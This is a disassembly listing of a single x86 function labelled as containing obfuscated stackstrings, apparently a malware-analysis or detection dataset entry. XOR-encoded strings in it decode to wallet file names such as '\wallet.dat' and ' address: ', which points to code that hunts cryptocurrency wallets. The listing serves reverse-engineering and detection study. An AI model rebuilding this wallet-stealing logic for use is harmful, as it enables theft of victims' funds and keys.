Function at 0x422e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453b95
call fcn.004534f4
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x1c], edi
and dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov ecx, esi
push 0x10
pop ebx
cmp dword [esi + 0x14], ebx
jb 0x422e8e
mov ecx, dword [esi]
push 0x5c
push ecx
mov edx, dword [esi + 0x10]
call fcn.00417f5c
mov edx, eax
cmp edx, 0xffffffff
je 0x423195
inc edx
mov ah, 0x4a
mov dword [ebp - 0x22], 0x2b2e644a
mov word [ebp - 0x1e], 0x3e
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
cmp ecx, 4
jae 0x422ed1
mov al, byte [ebp + ecx - 0x21]
xor al, ah
mov byte [ebp + ecx - 0x21], al
inc ecx
mov dword [ebp - 0x4c], ecx
mov ah, byte [ebp - 0x22]
jmp 0x422eb9
mov byte [ebp - 0x1d], 0
push 0xffffffffffffffff
push edx
lea eax, [ebp - 0xd4]
push eax
mov ecx, esi
call fcn.0040c0be
lea ecx, [ebp - 0x21]
push ecx
mov edx, eax
lea ecx, [ebp - 0x8c]
call fcn.00417bac
lea ecx, [ebp - 0xd4]
call fcn.0040bc59
lea eax, [edi + 0x3b0]
mov dword [ebp + 8], eax
cmp byte [edi + 0x3e2], 0
mov edi, dword [ebp + 0xc]
jne 0x422f1f
push edi
mov ecx, eax
call fcn.004439d9
lea eax, [ebp - 0x8c]
push eax
push 0x5c
mov edx, edi
lea ecx, [ebp - 0x11c]
call fcn.0043daf1
mov edx, eax
lea ecx, [ebp - 0x104]
call fcn.00417ccd
mov edi, eax
mov byte [ebp - 0x3b], bl
mov dword [ebp - 0x3a], 0x7c71674c
mov dword [ebp - 0x36], 0x3e64757c
mov dword [ebp - 0x32], 0x647174
xor ecx, ecx
mov dword [ebp - 0x50], ecx
cmp ecx, 0xb
jae 0x422f79
mov al, byte [ebp + ecx - 0x3a]
xor al, bl
mov byte [ebp + ecx - 0x3a], al
inc ecx
mov dword [ebp - 0x50], ecx
mov bl, byte [ebp - 0x3b]
jmp 0x422f61
xor ebx, ebx
mov byte [ebp - 0x2f], bl
lea eax, [ebp - 0x3a]
push eax
mov edx, esi
lea ecx, [ebp - 0xec]
call fcn.00417b5f
push edi
push eax
mov ecx, dword [ebp + 8]
call fcn.00443981
lea ecx, [ebp - 0xec]
call fcn.0040bc59
lea ecx, [ebp - 0x104]
call fcn.0040bc59
lea ecx, [ebp - 0x11c]
call fcn.0040bc59
mov edi, dword [ebp - 0x1c]
mov byte [edi + 0x3e2], 1
push 0x406fc4
lea ecx, [ebp - 0x74]
call fcn.0040bc98
mov al, 0x77
mov dword [ebp - 0x48], 0x687e6377
mov dword [ebp - 0x44], 0x7b6c7373
mov dword [ebp - 0x40], 0x7b686b35
mov byte [ebp - 0x3c], bl
mov edx, ebx
mov dword [ebp - 0x54], edx
cmp edx, 0xb
jae 0x423018
movsx ecx, al
and ecx, 0x8000000f
jns 0x423005
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x47]
sub al, cl
mov byte [ebp + edx - 0x47], al
inc edx
mov dword [ebp - 0x54], edx
mov al, byte [ebp - 0x48]
jmp 0x422ff0
mov byte [ebp - 0x3c], bl
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x47]
push eax
mov edx, esi
lea ecx, [ebp - 0xa4]
call fcn.00417b5f
push eax
mov ecx, edi
call fcn.0041ef9f
lea ecx, [ebp - 0xa4]
call fcn.0040bc59
mov dl, 1
mov dword [ebp - 0x2e], 0x65602101
mov dword [ebp - 0x2a], 0x72647365
mov dword [ebp - 0x26], 0x213b72
mov ecx, ebx
mov dword [ebp - 0x58], ecx
cmp ecx, 0xa
jae 0x423077
mov al, byte [ebp + ecx - 0x2d]
xor al, dl
mov byte [ebp + ecx - 0x2d], al
inc ecx
mov dword [ebp - 0x58], ecx
mov dl, byte [ebp - 0x2e]
jmp 0x42305f
mov byte [ebp - 0x23], bl
lea esi, [edi + 0x190]
lea eax, [ebp - 0x2d]
push eax
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0xbc]
call fcn.00417b5f
push eax
mov ecx, esi
call fcn.00412646
lea ecx, [ebp - 0xbc]
call fcn.0040bc59
cmp dword [ebp - 0x64], ebx
je 0x42316b
mov al, 0x76
mov dword [ebp - 0x1c], 0x73677476
mov word [ebp - 0x18], 0x286b
mov byte [ebp - 0x16], bl
mov edx, ebx
mov dword [ebp - 0x5c], edx
cmp edx, 5
jae 0x4230f0
movsx ecx, al
and ecx, 0x8000000f
jns 0x4230dd
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1b]
sub al, cl
mov byte [ebp + edx - 0x1b], al
inc edx
mov dword [ebp - 0x5c], edx
mov al, byte [ebp - 0x1c]
jmp 0x4230c8
mov byte [ebp - 0x16], bl
push ecx
lea eax, [ebp - 0x1b]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040ca79
cmp eax, 0xffffffff
je 0x42316b
push 0xffffffffffffffff
add eax, 5
push eax
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040c0be
push eax
lea ecx, [ebp - 0x74]
call fcn.0040cac9
lea ecx, [ebp - 0xbc]
call fcn.0040bc59
push ecx
push 1
lea ecx, [ebp - 0x74]
call fcn.0040bc28
push eax
push ebx
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040c0be
push eax
lea ecx, [ebp - 0x74]
call fcn.0040cac9
lea ecx, [ebp - 0xa4]
call fcn.0040bc59
lea eax, [ebp - 0x74]
push eax
mov ecx, esi
call fcn.00412646
jmp 0x423174
push 0x2d
mov ecx, esi
call fcn.0040bcdc
push 2
push 0x40700c
mov ecx, esi
call fcn.00412bce
lea ecx, [ebp - 0x74]
call fcn.0040bc59
lea ecx, [ebp - 0x8c]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8